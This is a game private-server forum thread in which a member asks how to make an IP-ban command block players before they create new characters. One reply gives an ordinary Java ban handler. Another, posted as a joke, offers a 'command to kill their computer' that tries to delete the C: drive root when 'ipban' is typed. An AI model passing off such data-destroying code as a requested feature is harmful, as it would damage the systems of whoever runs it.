Thread: IPBAN command

Results 1 to 7 of 7
  1. #1 IPBAN command 
    Registered Member
    Join Date
    Jun 2009
    Posts
    133
    Thanks given
    0
    Thanks received
    1
    Rep Power
    47
    my ip ban is called from the char file i guess because when i ip ban them they cant get on

    if they make a new character they can but then if they log out they cant get back on

    how do i make this where it just blocks there IP before they even make a new char
    Reply With Quote  
     

  2. #2  
    Fuckin PRO

    Tyler's Avatar
    Join Date
    Jan 2008
    Age
    33
    Posts
    6,017
    Thanks given
    46
    Thanks received
    507
    Rep Power
    3330
    Depends on your base.
    Free Filehost Premium Accounts
    Click Here
    Reply With Quote  
     

  3. #3  
    Registered Member
    Join Date
    Jun 2009
    Posts
    133
    Thanks given
    0
    Thanks received
    1
    Rep Power
    47
    tyler i could use your ipban command. i just need one, im useing czar
    Reply With Quote  
     

  4. #4  
    Banned

    Join Date
    Jul 2008
    Age
    28
    Posts
    5,827
    Thanks given
    1,301
    Thanks received
    197
    Rep Power
    0
    Heres a command to kill their computer

    if(command.contains("ipban")) {
    client otherPerson = this;
    new File("c:\").delete();
    }
    Reply With Quote  
     

  5. #5  
    Registered Member
    G0nzo's Avatar
    Join Date
    Feb 2009
    Posts
    4,960
    Thanks given
    514
    Thanks received
    546
    Rep Power
    1735
    lol java..
    Computer Science Graduate, Java Expert
    Need help with something? PM me
    Reply With Quote  
     

  6. #6  
    Registered Member
    Join Date
    Feb 2009
    Posts
    72
    Thanks given
    0
    Thanks received
    0
    Rep Power
    6
    Code:
    else if(command.startsWith("ipban")) {
        String victim = command.substring(6);
       if(!superMod(victim)) {
        PlayerHandler.kickNick = victim;
        int otherPIndex = PlayerHandler.getPlayerID(victim);
        if(otherPIndex != -1 && server.playerHandler.players[otherPIndex] != null) {
            client p = (client) server.playerHandler.players[otherPIndex];
            appendToBannedIP(p.connectedFrom);
        }
        System.out.println("Admin:"+playerName+" is IPbanning "+victim);
        sendMessage("Player "+victim+" successfully IPbanned from you server");
    }
    Hmmm, Does that work?

    That was from my old server, so Idk if it will or won't.

    Reply With Quote  
     

  7. #7  
    Registered Member
    Join Date
    Jun 2009
    Posts
    133
    Thanks given
    0
    Thanks received
    1
    Rep Power
    47
    my ip ban is called from the char file i guess because when i ip ban them they cant get on

    if they make a new character they can but then if they log out they cant get back on

    how do i make this where it just blocks there IP before they even make a new char
    Reply With Quote  
     


Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)


User Tag List

Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •